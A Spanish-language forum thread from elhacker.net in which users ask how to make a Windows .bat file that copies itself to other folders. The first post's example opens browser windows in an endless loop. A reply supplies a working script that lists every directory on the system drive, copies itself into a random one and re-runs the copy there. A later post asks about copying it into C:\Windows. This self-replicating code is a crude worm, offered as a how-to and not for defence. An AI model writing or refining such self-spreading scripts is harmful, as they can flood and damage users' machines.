Crear archivo .Bat que se copie a si mismo en diversos lugares

Iniciado por xpaRtanus, 31 Marzo 2012, 20:31 PM

0 Miembros y 2 Visitantes están viendo este tema.

xpaRtanus

Que cada vez qe ejecutes el archivo ___.bat se copie a si mismo en un directorio a parte de k ejecute una accion como:
@echo off
echo Hola
pause>nul
:bucle
start foro.elhacker.net
goto :bucle

$Edu$

Pero a que directorio? Elektro.. se puede hacer "cd %directorio%" mientras que %directorio% es una variable que contiene rutas de directorios que va cambiando al azar? no se si me entiendes y talvez no se puede. Creo que es lo que quiere el usuario, que por ejemplo la primera vez haga un:

Copy /y %0 C:\hola\

La segunda vez q se ejecute hara:

Copy /y %0 C:\Archivos de programa\

y todo asi, mientras que esas rutas son las que se toman al azar


pd: Si no se puede.. como se hace para ingresar al directorio que esta al lado del bat? con "cd ..." pero no se que poner luego, si no se sabe cual es el directorio y ademas si hay muchos directorios no se cual se tomaria primero.

Eleкtro

Cita de: $Edu$ en  4 Mayo 2012, 16:53 PM
Pero a que directorio? Elektro.. se puede hacer "cd %directorio%" mientras que %directorio% es una variable que contiene rutas de directorios que va cambiando al azar? no se si me entiendes y talvez no se puede. Creo que es lo que quiere el usuario, que por ejemplo la primera vez haga un:
Si, se puede, se me ocurre una manera:

Código (dos) [Seleccionar]
:: Listar todas las carpetas del disco
Dir /B /S /AD "%homedrive%\" > Lista.txt

:: Una funcion para randomizar la lista, y tomar una linea de la lista aleatoriamente.
For /L + Lista.txt...
For /F + %RANDOM% + Lista.txt...
(por ejemplo)


Cita de: $Edu$ en  4 Mayo 2012, 16:53 PM
pd: Si no se puede.. como se hace para ingresar al directorio que esta al lado del bat? con "cd ..." pero no se que poner luego, si no se sabe cual es el directorio y ademas si hay muchos directorios no se cual se tomaria primero.

Creo que te refieres a esto:
Código (dos) [Seleccionar]
PUSHD "%~dp0"




Código (dos) [Seleccionar]
@echo off

If "%~1" EQU "" (Dir /B /S /AD "%HOMEDRIVE%\" > "%TEMP%\Dirs.txt")

:Commands
echo %0
echo foro.elhacker.net | MORE

:Copy
For /F "Tokens=*" %%a in ('Type "%TEMP%\Dirs.txt" ^| MORE +%RANDOM%') Do (Set "Folder=%%a" & Goto :Break)

:Break
Copy %0 "%Folder%\" 1>NUL 2>&1 && CMD /C "%Folder%\%~xn0" NEXT || Goto :Copy


PD: Va algo lento








$Edu$

Ni se me ocurrira correrlo xD pero entendi ya, gracias!

xpaRtanus

Muxaaas gracias a todos sobre todo a ti ElectroHacker ers el ***** jefe del batch

nrzamel

Hola y como se podria hace para q ese archivo antes de copiarse en un directorio compruebe si existe si existe q no se copia y si no existe q se copie

    @Echo off
    Set "Destino=C:\Windows\"
    Copy "%~0" "%Destino%"
    pause
    Exit
que abria q agragarle alii
gracias de antemano

Meine programmen

Cita de: nrzamel en 26 Mayo 2013, 23:58 PM
Hola y como se podria hace para q ese archivo antes de copiarse en un directorio compruebe si existe si existe q no se copia y si no existe q se copie

    @Echo off
    Set "Destino=C:\Windows\"
    Copy "%~0" "%Destino%"
    pause
    Exit
que abria q agragarle alii
gracias de antemano
Pon antes del copy un
IF EXIST "%Destino%"
REMEMBER! Reality is an illusion, the universe is a hologram, BUY GOLD! BYE!!